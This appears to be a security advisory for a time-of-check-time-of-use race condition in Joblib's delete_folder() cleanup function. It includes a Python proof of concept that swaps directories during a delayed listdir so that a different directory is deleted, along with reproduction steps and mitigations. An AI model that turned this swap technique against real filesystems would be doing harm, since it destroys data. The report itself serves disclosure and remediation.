| # Title |
|
|
| Race Condition in `joblib.disk.delete_folder()` Allows Deletion of a Swapped Directory Path |
|
|
| # Severity |
|
|
| Medium |
|
|
| # CVSS v3.1 |
|
|
| CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H |
|
|
| # Affected Component |
|
|
| * `joblib.disk.delete_folder()` |
| * `joblib.disk.rm_subdirs()` |
|
|
| # Summary |
|
|
| A race condition vulnerability exists in the temporary directory cleanup logic of Joblib. The `delete_folder()` function performs non-atomic path validation before recursively deleting directories with `shutil.rmtree()`. |
|
|
| An attacker capable of modifying the target path concurrently can swap the validated directory with another directory before deletion occurs. This may result in unintended directory deletion. |
|
|
| # Technical Details |
|
|
| The vulnerable function follows this sequence: |
|
|
| 1. Verify the target using `os.path.isdir(folder_path)` |
| 2. Read the directory contents using `os.listdir(folder_path)` |
| 3. Delete the directory using `shutil.rmtree(folder_path)` |
|
|
| Because these operations are not atomic, an attacker can rename or replace the target directory between the validation and deletion phases. |
|
|
| The issue is located in: |
|
|
| ```python |
| if os.path.isdir(folder_path): |
| files = os.listdir(folder_path) |
| shutil.rmtree(folder_path, ignore_errors=False, onerror=None) |
| ``` |
|
|
| This creates a classic Time-of-Check Time-of-Use (TOCTOU) race condition. |
|
|
| # Impact |
|
|
| A local attacker with filesystem access to the temporary directory hierarchy may be able to: |
|
|
| * Cause unintended deletion of directories |
| * Interfere with cleanup operations |
| * Trigger denial of service conditions |
| * Manipulate temporary resource handling |
|
|
| Impact depends on the privileges of the affected process and the level of attacker control over the temporary directory structure. |
|
|
| # Proof of Concept |
|
|
| The following PoC demonstrates that a validated directory path can be swapped before deletion, causing a different directory to be removed. |
|
|
| ```python |
| #!/usr/bin/env python3 |
| |
| import os |
| import tempfile |
| import threading |
| import time |
| from pathlib import Path |
| |
| from joblib.disk import delete_folder |
| import joblib.disk as disk |
| |
| |
| def main(): |
| with tempfile.TemporaryDirectory(prefix="joblib_poc_") as tmp: |
| root = Path(tmp) |
| |
| checked = root / "checked" |
| victim = root / "victim" |
| checked_old = root / "checked_old" |
| |
| checked.mkdir() |
| victim.mkdir() |
| |
| (checked / "marker_checked.txt").write_text("checked dir") |
| (victim / "marker_victim.txt").write_text("victim dir") |
| |
| original_listdir = disk.os.listdir |
| race_started = threading.Event() |
| |
| def delayed_listdir(path): |
| race_started.set() |
| time.sleep(0.25) |
| return original_listdir(path) |
| |
| def attacker_swap(): |
| race_started.wait(timeout=2) |
| |
| os.rename(checked, checked_old) |
| os.rename(victim, checked) |
| |
| attacker = threading.Thread(target=attacker_swap, daemon=True) |
| |
| disk.os.listdir = delayed_listdir |
| |
| try: |
| attacker.start() |
| delete_folder(str(checked), allow_non_empty=True) |
| finally: |
| disk.os.listdir = original_listdir |
| attacker.join(timeout=2) |
| |
| print("=== Result ===") |
| print("checked exists :", checked.exists()) |
| print("checked_old exists :", checked_old.exists()) |
| print("victim exists :", victim.exists()) |
| |
| if checked_old.exists() and not checked.exists(): |
| print("[+] Race demonstrated") |
| |
| |
| if __name__ == "__main__": |
| main() |
| ``` |
|
|
| # Reproduction |
|
|
| 1. Install Joblib |
| 2. Save the PoC as `poc.py` |
| 3. Execute: |
|
|
| ```bash |
| python3 poc.py |
| ``` |
|
|
| # Expected Result |
|
|
| Only the originally validated directory should be deleted. |
|
|
| # Actual Result |
|
|
| A different directory can be deleted after a path swap occurs during the race window. |
|
|
| # Mitigation |
|
|
| * Avoid non-atomic check-then-delete patterns |
| * Resolve and validate paths immediately before deletion |
| * Use inode or file descriptor based validation where possible |
| * Add symlink and path consistency protections |
| * Minimize race windows during cleanup operations |
|
|
| # References |
|
|
| * `joblib/disk.py` |
| * `delete_folder()` |
| * `rm_subdirs()` |
|
|